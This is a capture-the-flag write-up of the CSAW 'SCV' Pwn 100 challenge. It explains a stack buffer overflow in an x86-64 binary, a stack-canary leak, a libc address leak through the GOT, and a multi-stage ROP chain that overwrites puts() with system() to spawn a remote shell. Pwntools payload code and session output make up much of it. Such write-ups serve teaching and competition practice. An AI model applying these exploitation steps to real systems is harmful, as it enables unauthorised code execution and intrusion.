# SCV## Pwn 100
#### shareef12
    SCV is too hungry to mine the minerals. Can you give him some food?
    nc pwn.chal.csaw.io 3764
This was fairly low point value pwnable. I expected it to be fairly straightforward, but there were a few minor things that slowed down exploitation.Stripped x86-64 binary presented a simple menu with three options.
    user@reversing:~/csaw/scv$ file scv    scv: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically    linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,    BuildID[sha1]=8585d22b995d2e1ab76bd520f7826370df71e0b6, stripped    user@reversing:~/csaw/scv$ ./scv    -------------------------    [*]SCV GOOD TO GO,SIR....    -------------------------    1.FEED SCV....    2.REVIEW THE FOOD....    3.MINE MINERALS....    -------------------------    >>
The first option would read data into a buffer, the second would print the samebuffer back to you, and the third would simply return. Due to the simpleinterface, seems like a pretty straight forward buffer overflow. Passing in alarge cyclic buffer seemed to cause it to flood my terminal with invalid inputmessages. From here I started reversing statically.
Input from the user is obtained with a call to `read()` from stdin, with a sizeof 0xf8 bytes. Fortunately for us, the destination buffer starts at `$rbp-0xb0`.
![read call](img/read_call.png)![buffer size](img/buffer_size.png)
If we write a buffer of at least 0xb8 bytes, we should be able to control RIPwith space for 0x40 bytes of ROP chain. Let's try it.
    user@reversing:~/csaw/scv$ python -c "print 'a'*0xb8 + 'bbbbcccc'"    aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc    user@reversing:~/csaw/scv$ ./scv    -------------------------    [*]SCV GOOD TO GO,SIR....    -------------------------    1.FEED SCV....    2.REVIEW THE FOOD....    3.MINE MINERALS....    -------------------------    >>1    -------------------------    [*]SCV IS ALWAYS HUNGRY.....    -------------------------    [*]GIVE HIM SOME FOOD.......    -------------------------    >>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc    -------------------------    [*]SCV GOOD TO GO,SIR....    -------------------------    1.FEED SCV....    2.REVIEW THE FOOD....    3.MINE MINERALS....    -------------------------    >>3    [*]BYE ~ TIME TO MINE MIENRALS...    *** stack smashing detected ***: ./scv terminated    Aborted (core dumped)
Oh no. Looks like there's a stack canary.
	user@reversing:~/csaw/scv$ checksec scv	[*] '/home/user/csaw/scv/scv'		Arch:     amd64-64-little		RELRO:    Partial RELRO		Stack:    Canary found		NX:       NX enabled		PIE:      No PIE (0x400000)
Since we can print our buffer, it shouldn't be hard to leak the canary valuethough. All we have to do is provide enough input so that there are no nullbytes between the end of our buffer and the start of the canary. The canary isat `$ebp-0x8` so if supply 0xa8 bytes, we should be able leak the canary value.
My initial attempt only printed the buffer. Examining the buffer in gdb showedthat the canary always started with a NULL byte. Writing an extra character(0xa9 bytes total) allows us to leak the canary every time.
	user@reversing:~/csaw/scv$ python -c "print 'a'*0xa9"	aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa	user@reversing:~/csaw/scv$ ./scv	-------------------------	[*]SCV GOOD TO GO,SIR....	-------------------------	1.FEED SCV....	2.REVIEW THE FOOD....	3.MINE MINERALS....	-------------------------	>>1	-------------------------	[*]SCV IS ALWAYS HUNGRY.....	-------------------------	[*]GIVE HIM SOME FOOD.......	-------------------------	>>aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa	-------------------------	[*]SCV GOOD TO GO,SIR....	-------------------------	1.FEED SCV....	2.REVIEW THE FOOD....	3.MINE MINERALS....	-------------------------	>>2	-------------------------	[*]REVIEW THE FOOD...........	-------------------------	[*]PLEASE TREAT HIM WELL.....	-------------------------	aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa	��~�2�@@
Now that we can leak the canary, I wrote some code to parse it out and use it inour overflow buffer so we pass the canary check.
```python# Fill buffer with non-zero up until stack cookieconn.recvuntil(">>")feed_scv("a" * 0xa9)   # plus one (first char of the stack cookie is 0)
# Leak the stack cookielog.info("Leaking stack cookie")data = review_food()cookie = "\x00" + data[0xa9:0xb0]log.info("Stack cookie: " + cookie.encode("hex"))```
Since this challenge involves remote exploitation, we can assume ASLR is on, sowe'll need some form of ROP to get code execution. Unfortunately, we only have64 bytes to do this with (only 8 gadgets). Additionally, since this is x64arguments are passed in registers making ROP a little harder. My initial planwas to use read() to read in a second larger ROP chain into the data section andpivot to it. This would allow us to use a ROP chain of arbitrary length and getaround the 64-byte restriction. However when the function returns, rdx was 0, andI couldn't find a pop rdx gadget in the binary.
Instead of pursuing this further, I decided to try and leak the address to libcso I could use that for gadgets instead. We can use puts() to read an addressfrom the GOT and use the provided copy of libc to calculate libc base. Fromthere, if we simply return back to the start of main(), we can restart theprogram and exploit it again.
```python# Build the stage0 payload# Leak the addr of puts() from the GOT, then restart for stage 1stage0 =  p64(SCV_POP_RDI_GADGET)stage0 += p64(scv.got["puts"])stage0 += p64(scv.plt["puts"])stage0 += p64(SCV_MAIN) # Jump back to main```
After leaking libc base, we calculate the address of system() and a `pop rdx`gadget within libc. We then rop to `read(stdin, scv.got["puts"], 8)` tooverwrite puts() with the next 8 bytes from stdin. Follow this ROP chain withyet another return to main(). We send the address of system after triggering thechain to overwrite puts().
```# Build the stage1 payload# Overwrite puts() with system(), then restart for stage 2stage1 =  p64(SCV_POP_RDI_GADGET)stage1 += p64(0)        # stdinstage1 += p64(pop_rsi)stage1 += p64(scv.got["puts"])stage1 += p64(pop_rdx)stage1 += p64(8)stage1 += p64(scv.plt["read"])stage1 += p64(SCV_MAIN) # Jump back to main```
Now that puts() is really system(), we can simply send `/bin/sh\x00` as ourbuffer and view it to trigger a shell.
	user@reversing:~/csaw/scv$ ./solve.py	[*] '/home/user/csaw/scv/scv'		Arch:     amd64-64-little		RELRO:    Partial RELRO		Stack:    Canary found		NX:       NX enabled		PIE:      No PIE (0x400000)	[*] '/home/user/csaw/scv/libc-2.23.so'		Arch:     amd64-64-little		RELRO:    Partial RELRO		Stack:    Canary found		NX:       NX enabled		PIE:      PIE enabled	[+] Opening connection to pwn.chal.csaw.io on port 3764: Done	[*] Leaking stack cookie	[*] Stack cookie: 0014175537504b80	[*] Sending stage 0 (0xd8 bytes)	[*] Found libc base: 0x7f76a648c000	[*] Found libc system(): 0x7f76a64d1390	[*] Found libc "pop rsi" gadget: 0x7f76a64ac2e8	[*] Found libc "pop rdx" gadget: 0x7f76a648db92	[*] Sending stage 1 (0xf8 bytes)	[*] Overwrote puts() with system()	[*] Sending /bin/sh	[*] Switching to interactive mode	$ ls	flag	scv	$ cat flag	flag{sCv_0n1y_C0st_50_M!n3ra1_tr3at_h!m_we11}	$	[*] Interrupted	[*] Closed connection to pwn.chal.csaw.io port 3764